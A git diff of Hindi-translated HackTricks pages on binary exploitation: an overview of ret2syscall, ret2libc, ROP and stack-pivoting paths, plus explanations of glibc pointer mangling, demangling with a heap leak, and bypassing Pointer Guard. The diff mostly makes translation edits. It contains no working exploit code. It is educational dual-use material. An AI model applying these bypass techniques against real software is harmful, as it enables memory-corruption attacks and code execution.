+- **साथ में** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), आपको कुछ [**ROP**](../rop-return-oriented-programing/index.html) का उपयोग करना होगा **`memprotect`** को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **वहां शेलकोड स्टोर किया जा सके** (उदाहरण के लिए पढ़ें) और फिर वहां कूदें।
- यह शेलकोड को ROP श्रृंखला के साथ मिलाएगा।
-#### सिस्टम कॉल के माध्यम से
+#### Via syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): मनमाने कमांड चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को पैरामीटर के साथ कॉल करने के लिए गैजेट्स खोजने में सक्षम होना चाहिए**।
-- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) सक्षम हैं, तो आपको **ROP गैजेट्स का उपयोग करने के लिए उन्हें हराना होगा** बाइनरी या पुस्तकालयों से।
+- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) सक्षम हैं, तो आपको **ROP गैजेट्स** का उपयोग करने के लिए उन्हें हराना होगा।
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है।
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
-#### libc के माध्यम से
+#### Via libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): एक पुस्तकालय (आमतौर पर **`libc`**) से एक फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार किए गए तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **उस फ़ंक्शन के साथ पुस्तकालय लोड करने की आवश्यकता है** जिसे आप कॉल करना चाहते हैं (आमतौर पर libc)।
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): एक लाइब्रेरी (आमतौर पर **`libc`**) से एक फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार किए गए तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **लाइब्रेरी** को लोड करने की आवश्यकता है जिसमें आप कॉल करना चाहते हैं (आमतौर पर libc)।
- यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और लोड की गई libc संस्करण को जानने के लिए**, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **के साथ लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, libc को जानने और बाइनरी का उपयोग करते हुए `system`** फ़ंक्शन के साथ, यह संभव है **GOT में system के पते पर `ret` करना** और `'/bin/sh'` के पते को पैरामीटर में रखना (आपको इसे समझना होगा)।
-- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) के साथ लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/index.html) नहीं, libc को जानने और **बाइनरी का उपयोग किए बिना `system`**:
-- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें `system` के पते को हल करने और इसे कॉल करने के लिए।
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` के पते की गणना करें।
-- **के साथ** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और libc को न जानते हुए**: आपको:
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, libc को जानने और बाइनरी का उपयोग करते हुए `system`** फ़ंक्शन के लिए, **GOT में system के पते पर `ret`** करना संभव है, जिसमें `'/bin/sh'` का पता पैरामीटर में है (आपको इसे समझना होगा)।
+- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/index.html) नहीं, libc को जानने और **बाइनरी का उपयोग नहीं करते हुए `system`**:
+- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें ताकि `system` का पता हल किया जा सके और इसे कॉल किया जा सके।
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` का पता निकालें।
+- **साथ में** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और libc को न जानते हुए**: आपको:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को बायपास करना होगा।
- उपयोग की गई **`libc` संस्करण** खोजें (कुछ फ़ंक्शन पते लीक करें)।
- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों की जांच करें**।
-#### EBP/RBP के माध्यम से
+#### Via EBP/RBP
-- [**स्टैक पिवोटिंग / EBP2Ret / EBP चेनिंग**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें।
-- **ऑफ-बाय-वन** स्टैक ओवरफ्लोज़ के लिए उपयोगी।
-- EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी जबकि मेमोरी में पे लोड बनाने के लिए EIP का दुरुपयोग करते हुए और फिर EBP के माध्यम से उस पर कूदना।
+- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें।
+- **off-by-one** स्टैक ओवरफ्लो के लिए उपयोगी।
+- EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी जबकि EIP का दुरुपयोग करके मेमोरी में पेलोड का निर्माण करना और फिर EBP के माध्यम से उस पर कूदना।
-#### विविध
+#### Misc
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में एक फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या एक स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
+- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं।
-- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
+- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index fa85911fe..22fe71fa8 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -8,37 +8,37 @@
### Security Benefits
-64-बिट सिस्टम में चंक संरेखण का प्रवर्तन Malloc की सुरक्षा को **हर 16 पते में केवल 1 नकली चंक्स के स्थान को सीमित करके** महत्वपूर्ण रूप से बढ़ाता है। यह शोषण प्रयासों को जटिल बनाता है, विशेष रूप से उन परिदृश्यों में जहां उपयोगकर्ता के पास इनपुट मानों पर सीमित नियंत्रण होता है, जिससे हमलों को अधिक जटिल और सफलतापूर्वक निष्पादित करना कठिन हो जाता है।
+64-बिट सिस्टम में चंक संरेखण का प्रवर्तन Malloc की सुरक्षा को **हर 16 पते में केवल 1 नकली चंक के स्थान को सीमित करके** काफी बढ़ाता है। यह शोषण प्रयासों को जटिल बनाता है, विशेष रूप से उन परिदृश्यों में जहां उपयोगकर्ता के पास इनपुट मानों पर सीमित नियंत्रण होता है, जिससे हमलों को अधिक जटिल और सफलतापूर्वक निष्पादित करना कठिन हो जाता है।
- **Fastbin Attack on \_\_malloc_hook**
-Malloc में नए संरेखण नियम भी `__malloc_hook` से संबंधित एक क्लासिक हमले को विफल करते हैं। पहले, हमलावर चंक के आकार को **इस फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए हेरफेर कर सकते थे** और **कोड निष्पादन** प्राप्त कर सकते थे। अब, सख्त संरेखण आवश्यकता सुनिश्चित करती है कि ऐसी हेरफेर अब संभव नहीं हैं, एक सामान्य शोषण मार्ग को बंद कर देती है और समग्र सुरक्षा को बढ़ाती है।
+Malloc में नए संरेखण नियम भी `__malloc_hook` से संबंधित एक क्लासिक हमले को विफल करते हैं। पहले, हमलावर चंक के आकार को **इस फ़ंक्शन पॉइंटर को ओवरराइट करने के लिए हेरफेर कर सकते थे** और **कोड निष्पादन** प्राप्त कर सकते थे। अब, सख्त संरेखण आवश्यकता यह सुनिश्चित करती है कि ऐसी हेरफेर अब संभव नहीं हैं, एक सामान्य शोषण मार्ग को बंद कर देती है और समग्र सुरक्षा को बढ़ाती है।
## Pointer Mangling on fastbins and tcache
-**Pointer Mangling** एक सुरक्षा सुधार है जिसका उपयोग **फास्टबिन और टकैश Fd पॉइंटर्स** को मेमोरी प्रबंधन संचालन में सुरक्षित रखने के लिए किया जाता है। यह तकनीक कुछ प्रकार की मेमोरी शोषण रणनीतियों को रोकने में मदद करती है, विशेष रूप से उन जो लीक की गई मेमोरी जानकारी की आवश्यकता नहीं होती या जो ज्ञात स्थानों के सापेक्ष सीधे मेमोरी स्थानों में हेरफेर करती हैं (सापेक्ष **ओवरराइट** )।
+**Pointer Mangling** एक सुरक्षा सुधार है जिसका उपयोग **फास्टबिन और टकैश एफडी पॉइंटर्स** को मेमोरी प्रबंधन संचालन में सुरक्षित रखने के लिए किया जाता है। यह तकनीक कुछ प्रकार की मेमोरी शोषण रणनीतियों को रोकने में मदद करती है, विशेष रूप से उन जो लीक की गई मेमोरी जानकारी की आवश्यकता नहीं होती या जो ज्ञात स्थानों के सापेक्ष सीधे मेमोरी स्थानों में हेरफेर करती हैं (सापेक्ष **ओवरराइट** )।
-इस तकनीक का मूल एक अस्पष्टता सूत्र है:
+इस तकनीक का मूल एक ओबफस्केशन फॉर्मूला है:
**`New_Ptr = (L >> 12) XOR P`**
- **L** पॉइंटर का **स्टोरेज स्थान** है।
-- **P** वास्तविक **फास्टबिन/टकैश Fd पॉइंटर** है।
+- **P** वास्तविक **फास्टबिन/टकैश एफडी पॉइंटर** है।
-स्टोरेज स्थान (L) को 12 बिट्स दाईं ओर शिफ्ट करने का कारण महत्वपूर्ण है। यह हेरफेर मेमोरी पते के सबसे कम महत्वपूर्ण 12 बिट्स की पूर्वानुमानित प्रकृति में अंतर्निहित एक भेद्यता को संबोधित करता है, जो आमतौर पर सिस्टम आर्किटेक्चर की सीमाओं के कारण पूर्वानुमानित होते हैं। बिट्स को शिफ्ट करके, पूर्वानुमानित भाग समीकरण से बाहर हो जाता है, नए, मंगले हुए पॉइंटर की यादृता को बढ़ाता है और इस प्रकार इन बिट्स की पूर्वानुमानिता पर निर्भर शोषणों के खिलाफ सुरक्षा करता है।
+स्टोरेज स्थान (L) के बिटवाइज शिफ्ट को 12 बिट्स दाईं ओर XOR ऑपरेशन से पहले करना महत्वपूर्ण है। यह हेरफेर मेमोरी पते के सबसे कम महत्वपूर्ण 12 बिट्स की पूर्वानुमानित प्रकृति में अंतर्निहित एक भेद्यता को संबोधित करता है, जो आमतौर पर सिस्टम आर्किटेक्चर की सीमाओं के कारण पूर्वानुमानित होते हैं। बिट्स को शिफ्ट करके, पूर्वानुमानित भाग समीकरण से बाहर हो जाता है, नए, मंगले हुए पॉइंटर की यादृच्छिकता को बढ़ाता है और इस प्रकार उन शोषणों के खिलाफ सुरक्षा करता है जो इन बिट्स की पूर्वानुमानितता पर निर्भर करते हैं।
-यह मंगला हुआ पॉइंटर **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** द्वारा प्रदान की गई मौजूदा यादृता का लाभ उठाता है, जो कार्यक्रमों द्वारा उपयोग किए जाने वाले पते को यादृता करता है ताकि हमलावरों के लिए किसी प्रक्रिया के मेमोरी लेआउट की भविष्यवाणी करना कठिन हो जाए।
+यह मंगला हुआ पॉइंटर **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** द्वारा प्रदान की गई मौजूदा यादृच्छिकता का लाभ उठाता है, जो कार्यक्रमों द्वारा उपयोग किए जाने वाले पते को यादृच्छिक बनाता है ताकि हमलावरों के लिए किसी प्रक्रिया के मेमोरी लेआउट की भविष्यवाणी करना कठिन हो जाए।
-**Demangling** पॉइंटर को मूल पते को पुनः प्राप्त करने के लिए उसी XOR ऑपरेशन का उपयोग करना शामिल है। यहाँ, मंगला हुआ पॉइंटर सूत्र में P के रूप में माना जाता है, और जब इसे अपरिवर्तित स्टोरेज स्थान (L) के साथ XOR किया जाता है, तो यह मूल पॉइंटर को प्रकट करता है। मंगलीकरण और डेमंगलीकरण में यह सममिति सुनिश्चित करती है कि सिस्टम बिना महत्वपूर्ण ओवरहेड के प्रभावी ढंग से पॉइंटर्स को एन्कोड और डिकोड कर सकता है, जबकि मेमोरी पॉइंटर्स में हेरफेर करने वाले हमलों के खिलाफ सुरक्षा को काफी बढ़ाता है।
+**Demangling** पॉइंटर को मूल पते को पुनः प्राप्त करने के लिए उसी XOR ऑपरेशन का उपयोग करना शामिल है। यहाँ, मंगला हुआ पॉइंटर फॉर्मूला में P के रूप में माना जाता है, और जब इसे अपरिवर्तित स्टोरेज स्थान (L) के साथ XOR किया जाता है, तो यह मूल पॉइंटर को प्रकट करता है। मंगलीकरण और डेमंगलीकरण में यह सममिति सुनिश्चित करती है कि सिस्टम बिना महत्वपूर्ण ओवरहेड के प्रभावी ढंग से पॉइंटर्स को एन्कोड और डिकोड कर सकता है, जबकि मेमोरी पॉइंटर्स में हेरफेर करने वाले हमलों के खिलाफ सुरक्षा को काफी बढ़ाता है।
### Security Benefits
-Pointer mangling का उद्देश्य **हीप में आंशिक और पूर्ण पॉइंटर ओवरराइट्स को रोकना** है, जो सुरक्षा में एक महत्वपूर्ण सुधार है। यह सुविधा कई तरीकों से शोषण तकनीकों को प्रभावित करती है:
+पॉइंटर मंगलीकरण का उद्देश्य **हीप में आंशिक और पूर्ण पॉइंटर ओवरराइट्स को रोकना** है, जो सुरक्षा में एक महत्वपूर्ण सुधार है। यह विशेषता कई तरीकों से शोषण तकनीकों को प्रभावित करती है:
-1. **Bye Byte सापेक्ष ओवरराइट्स की रोकथाम**: पहले, हमलावर एक पॉइंटर के भाग को बदल सकते थे ताकि **हीप चंक्स को विभिन्न स्थानों पर पुनर्निर्देशित किया जा सके बिना सटीक पते को जाने**, यह तकनीक लीकलेस **हाउस ऑफ रोमन** शोषण में स्पष्ट है। पॉइंटर मंग्लिंग के साथ, ऐसी सापेक्ष ओवरराइट्स **हीप लीक के बिना अब ब्रूट फोर्सिंग की आवश्यकता होती है**, जिससे उनकी सफलता की संभावना में भारी कमी आती है।
-2. **Tcache Bin/Fastbin हमलों की बढ़ती कठिनाई**: सामान्य हमले जो फ़ंक्शन पॉइंटर्स (जैसे `__malloc_hook`) को ओवरराइट करते हैं, फास्टबिन या टकैश प्रविष्टियों में हेरफेर करके बाधित होते हैं। उदाहरण के लिए, एक हमला एक LibC पते को लीक करने, एक चंक को टकैश बिन में मुक्त करने, और फिर Fd पॉइंटर को `__malloc_hook` पर पुनर्निर्देशित करने के लिए ओवरराइट करने में शामिल हो सकता है। पॉइंटर मंग्लिंग के साथ, इन पॉइंटर्स को सही ढंग से मंग्लित किया जाना चाहिए, **सटीक हेरफेर के लिए हीप लीक की आवश्यकता होती है**, जिससे शोषण की बाधा बढ़ जाती है।
-3. **गैर-हीप स्थानों में हीप लीक की आवश्यकता**: गैर-हीप क्षेत्रों (जैसे स्टैक, .bss सेक्शन, या PLT/GOT) में एक नकली चंक बनाना अब भी **हीप लीक की आवश्यकता होती है** क्योंकि पॉइंटर मंग्लिंग की आवश्यकता होती है। यह इन क्षेत्रों का शोषण करने की जटिलता को बढ़ाता है, LibC पते में हेरफेर करने की आवश्यकता के समान।
-4. **हीप पते लीक करना अधिक चुनौतीपूर्ण हो जाता है**: पॉइंटर मंग्लिंग फास्टबिन और टकैश बिन में Fd पॉइंटर्स के उपयोगिता को हीप पते लीक के स्रोत के रूप में सीमित करती है। हालाँकि, असंरचित, छोटे, और बड़े बिन में पॉइंटर्स बिना मंग्लित रहते हैं, इस प्रकार अभी भी पते लीक करने के लिए उपयोगी होते हैं। यह बदलाव हमलावरों को शोषण योग्य जानकारी के लिए इन बिनों का पता लगाने के लिए धकेलता है, हालाँकि कुछ तकनीकें अभी भी लीक से पहले पॉइंटर्स को डेमंग्लित करने की अनुमति दे सकती हैं, हालाँकि सीमाओं के साथ।
+1. **Bye Byte सापेक्ष ओवरराइट्स की रोकथाम**: पहले, हमलावर एक पॉइंटर के भाग को बदल सकते थे ताकि **हीप चंक्स को विभिन्न स्थानों पर पुनर्निर्देशित किया जा सके बिना सटीक पते को जाने**, यह तकनीक लीकलेस **हाउस ऑफ रोमन** शोषण में स्पष्ट है। पॉइंटर मंगलीकरण के साथ, ऐसी सापेक्ष ओवरराइट्स **बिना हीप लीक के अब ब्रूट फोर्सिंग की आवश्यकता होती है**, जिससे उनकी सफलता की संभावना में भारी कमी आती है।
+2. **Tcache Bin/Fastbin हमलों की बढ़ती कठिनाई**: सामान्य हमले जो फ़ंक्शन पॉइंटर्स (जैसे `__malloc_hook`) को ओवरराइट करते हैं, फास्टबिन या टकैश प्रविष्टियों में हेरफेर करके बाधित होते हैं। उदाहरण के लिए, एक हमला एक LibC पते को लीक करने, एक चंक को टकैश बिन में मुक्त करने, और फिर Fd पॉइंटर को `__malloc_hook` पर पुनर्निर्देशित करने के लिए ओवरराइट करने में शामिल हो सकता है। पॉइंटर मंगलीकरण के साथ, इन पॉइंटर्स को सही ढंग से मंगला जाना चाहिए, **सटीक हेरफेर के लिए हीप लीक की आवश्यकता होती है**, जिससे शोषण की बाधा बढ़ जाती है।
+3. **गैर-हीप स्थानों में हीप लीक की आवश्यकता**: गैर-हीप क्षेत्रों (जैसे स्टैक, .bss सेक्शन, या PLT/GOT) में एक नकली चंक बनाना अब भी **हीप लीक की आवश्यकता होती है** क्योंकि पॉइंटर मंगलीकरण की आवश्यकता होती है। यह इन क्षेत्रों का शोषण करने की जटिलता को बढ़ाता है, LibC पते में हेरफेर करने की आवश्यकता के समान।
+4. **हीप पते लीक करना अधिक चुनौतीपूर्ण हो जाता है**: पॉइंटर मंगलीकरण फास्टबिन और टकैश बिन में Fd पॉइंटर्स के उपयोगिता को हीप पते लीक के स्रोत के रूप में सीमित करता है। हालाँकि, असंरचित, छोटे और बड़े बिन में पॉइंटर्स बिना मंगले हुए रहते हैं, इसलिए अभी भी पते लीक करने के लिए उपयोगी हैं। यह बदलाव हमलावरों को इन बिनों में शोषण योग्य जानकारी के लिए खोजने के लिए प्रेरित करता है, हालाँकि कुछ तकनीकें अभी भी लीक से पहले पॉइंटर्स को डेमंग्लिंग की अनुमति दे सकती हैं, हालाँकि सीमाओं के साथ।
### **Demangling Pointers with a Heap Leak**
@@ -47,20 +47,20 @@ Pointer mangling का उद्देश्य **हीप में आंश
### Algorithm Overview
-पॉइंटर्स को मंग्लित और डेमंग्लित करने के लिए उपयोग किया जाने वाला सूत्र है:
+पॉइंटर्स को मंगलीकरण और डेमंगलीकरण के लिए उपयोग किया जाने वाला फॉर्मूला है:
**`New_Ptr = (L >> 12) XOR P`**
-जहाँ **L** स्टोरेज स्थान है और **P** Fd पॉइंटर है। जब **L** को 12 बिट्स दाईं ओर शिफ्ट किया जाता है, तो यह **P** के सबसे महत्वपूर्ण बिट्स को उजागर करता है, **XOR** की प्रकृति के कारण, जो तब 0 आउटपुट करता है जब बिट्स को स्वयं के साथ XOR किया जाता है।
+जहाँ **L** स्टोरेज स्थान है और **P** Fd पॉइंटर है। जब **L** को 12 बिट्स दाईं ओर शिफ्ट किया जाता है, तो यह **P** के सबसे महत्वपूर्ण बिट्स को उजागर करता है, **XOR** की प्रकृति के कारण, जो तब 0 आउटपुट करता है जब बिट्स को अपने आप के साथ XOR किया जाता है।
**Algorithm में मुख्य चरण:**
-1. **सबसे महत्वपूर्ण बिट्स का प्रारंभिक लीक**: शिफ्टेड **L** को **P** के साथ XOR करके, आप प्रभावी रूप से **P** के शीर्ष 12 बिट्स प्राप्त करते हैं क्योंकि शिफ्टेड भाग **L** शून्य होगा, जिससे **P** के संबंधित बिट्स अपरिवर्तित रहेंगे।
+1. **सबसे महत्वपूर्ण बिट्स का प्रारंभिक लीक**: शिफ्ट किए गए **L** को **P** के साथ XOR करके, आप प्रभावी रूप से **P** के शीर्ष 12 बिट्स प्राप्त करते हैं क्योंकि **L** का शिफ्ट किया गया भाग शून्य होगा, जिससे **P** के संबंधित बिट्स अपरिवर्तित रहेंगे।
2. **पॉइंटर बिट्स की पुनर्प्राप्ति**: चूंकि XOR उलटा होता है, परिणाम और एक ऑपरेटर को जानने से आपको दूसरे ऑपरेटर की गणना करने की अनुमति मिलती है। इस गुण का उपयोग **P** के बिट्स के पूरे सेट को डेड्यूस करने के लिए किया जाता है, मंगले हुए पॉइंटर के भागों के साथ ज्ञात बिट्स के सेट को क्रमशः XOR करके।
-3. **आवर्ती डेमंग्लिंग**: यह प्रक्रिया दोहराई जाती है, प्रत्येक बार पिछले चरण से **P** के नए खोजे गए बिट्स का उपयोग करके मंगले हुए पॉइंटर के अगले खंड को डिकोड करने के लिए, जब तक सभी बिट्स पुनर्प्राप्त नहीं हो जाते।
+3. **आवर्ती डेमंगलीकरण**: यह प्रक्रिया दोहराई जाती है, प्रत्येक बार पिछले चरण से **P** के नए खोजे गए बिट्स का उपयोग करके मंगले हुए पॉइंटर के अगले खंड को डिकोड करने के लिए, जब तक सभी बिट्स पुनर्प्राप्त नहीं हो जाते।
4. **निर्धारणात्मक बिट्स को संभालना**: **L** के अंतिम 12 बिट्स शिफ्ट के कारण खो जाते हैं, लेकिन वे निर्धारणात्मक होते हैं और प्रक्रिया के बाद पुनर्निर्माण किया जा सकता है।
-आप इस एल्गोरिदम का कार्यान्वयन यहाँ पा सकते हैं: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
+आप इस एल्गोरिदम का एक कार्यान्वयन यहाँ पा सकते हैं: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
@@ -68,13 +68,13 @@ Pointer guard एक शोषण शमन तकनीक है जिसक
### **Bypassing Pointer Guard with a leak**
-1. **Pointer Guard संचालन को समझना:** पॉइंटर्स का स्क्रैम्बलिंग (मंग्लिंग) `PTR_MANGLE` मैक्रो का उपयोग करके किया जाता है जो पॉइंटर को 64-बिट गुप्त के साथ XOR करता है और फिर 0x11 बिट्स का बायां रोटेशन करता है। मूल पॉइंटर को पुनः प्राप्त करने के लिए उलटा संचालन `PTR_DEMANGLE` द्वारा संभाला जाता है।
-2. **हमला रणनीति:** यह हमला एक ज्ञात-प्लेनटेक्स्ट दृष्टिकोण पर आधारित है, जहाँ हमलावर को मंगले हुए पॉइंटर के मूल और मंगले हुए दोनों संस्करणों को जानने की आवश्यकता होती है ताकि मंग्लिंग के लिए उपयोग किए गए गुप्त को डेड्यूस किया जा सके।
+1. **Pointer Guard ऑपरेशनों को समझना:** पॉइंटर्स का स्क्रैम्बलिंग (मंगलीकरण) `PTR_MANGLE` मैक्रो का उपयोग करके किया जाता है जो पॉइंटर को 64-बिट गुप्त के साथ XOR करता है और फिर 0x11 बिट्स का बायां रोटेशन करता है। मूल पॉइंटर को पुनः प्राप्त करने के लिए उलटा ऑपरेशन `PTR_DEMANGLE` द्वारा संभाला जाता है।
+2. **हमला रणनीति:** यह हमला एक ज्ञात-प्लेनटेक्स्ट दृष्टिकोण पर आधारित है, जहाँ हमलावर को मंगले हुए पॉइंटर के मूल और मंगले हुए संस्करण दोनों को जानने की आवश्यकता होती है ताकि मंगलीकरण के लिए उपयोग किए गए गुप्त को डेड्यूस किया जा सके।
3. **ज्ञात प्लेनटेक्स्ट का शोषण:**
-- **स्थिर फ़ंक्शन पॉइंटर्स की पहचान करना:** glibc स्रोत कोड या प्रारंभिक फ़ंक्शन पॉइंटर तालिकाओं (जैसे `__libc_pthread_functions`) की जांच करके, एक हमलावर पूर्वानुमानित फ़ंक्शन पॉइंटर्स पा सकता है।
+- **फिक्स्ड फ़ंक्शन पॉइंटर्स की पहचान करना:** glibc स्रोत कोड या प्रारंभिक फ़ंक्शन पॉइंटर तालिकाओं (जैसे `__libc_pthread_functions`) की जांच करके, एक हमलावर पूर्वानुमानित फ़ंक्शन पॉइंटर्स पा सकता है।
- **गुप्त की गणना करना:** एक ज्ञात फ़ंक्शन पॉइंटर जैसे `__pthread_attr_destroy` और फ़ंक्शन पॉइंटर तालिका से इसके मंगले हुए संस्करण का उपयोग करके, गुप्त को मंगले हुए पॉइंटर को उलटा घुमाकर (दाईं ओर घुमाना) और फिर फ़ंक्शन के पते के साथ XOR करके गणना की जा सकती है।
-4. **वैकल्पिक प्लेनटेक्स्ट:** हमलावर ज्ञात मानों जैसे 0 या -1 के साथ पॉइंटर्स को मंग्लित करने का प्रयोग कर सकता है यह देखने के लिए कि क्या ये मेमोरी में पहचानने योग्य पैटर्न उत्पन्न करते हैं, संभावित रूप से जब ये पैटर्न मेमोरी डंप में पाए जाते हैं तो गुप्त को प्रकट करते हैं।
-5. **व्यावहारिक अनुप्रयोग:** गुप्त की गणना करने के बाद, एक हमलावर नियंत्रित तरीके से पॉइंटर्स में हेरफेर कर सकता है, मूल रूप से एक मल्टीथ्रेडेड एप्लिकेशन में Pointer Guard सुरक्षा को बायपास कर सकता है, जिसमें libc बेस पते का ज्ञान और मनमाने मेमोरी स्थानों को पढ़ने की क्षमता होती है।
+4. **वैकल्पिक प्लेनटेक्स्ट:** हमलावर ज्ञात मानों जैसे 0 या -1 के साथ पॉइंटर्स को मंगला करके यह देखने के लिए प्रयोग कर सकता है कि क्या ये मेमोरी में पहचानने योग्य पैटर्न उत्पन्न करते हैं, संभावित रूप से जब ये पैटर्न मेमोरी डंप में पाए जाते हैं तो गुप्त को प्रकट करते हैं।
+5. **व्यावहारिक अनुप्रयोग:** गुप्त की गणना करने के बाद, एक हमलावर नियंत्रित तरीके से पॉइंटर्स में हेरफेर कर सकता है, मूल रूप से एक मल्टीथ्रेडेड एप्लिकेशन में Pointer Guard सुरक्षा को बायपास कर सकता है, libc बेस पते के ज्ञान और मनमाने मेमोरी स्थानों को पढ़ने की क्षमता के साथ।
## References
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index d12bb3b44..590f76029 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -1,14 +1,14 @@
-# मेमोरी टैगिंग एक्सटेंशन (MTE)
+# Memory Tagging Extension (MTE)
{{#include ../../banners/hacktricks-training.md}}
-## बुनियादी जानकारी
+## Basic Information
-**मेमोरी टैगिंग एक्सटेंशन (MTE)** को सॉफ़्टवेयर की विश्वसनीयता और सुरक्षा को बढ़ाने के लिए डिज़ाइन किया गया है, **मेमोरी से संबंधित त्रुटियों** का **पता लगाने और रोकने** के लिए, जैसे कि बफर ओवरफ्लो और उपयोग के बाद मुक्त होने वाली कमजोरियाँ। MTE, **ARM** आर्किटेक्चर का एक हिस्सा, प्रत्येक मेमोरी आवंटन के लिए एक **छोटा टैग संलग्न करने** और उस मेमोरी को संदर्भित करने वाले प्रत्येक पॉइंटर के लिए एक **संबंधित टैग** प्रदान करता है। यह दृष्टिकोण रनटाइम पर अवैध मेमोरी पहुंच का पता लगाने की अनुमति देता है, जिससे ऐसे कमजोरियों का शोषण करके मनमाने कोड को निष्पादित करने का जोखिम काफी कम हो जाता है।
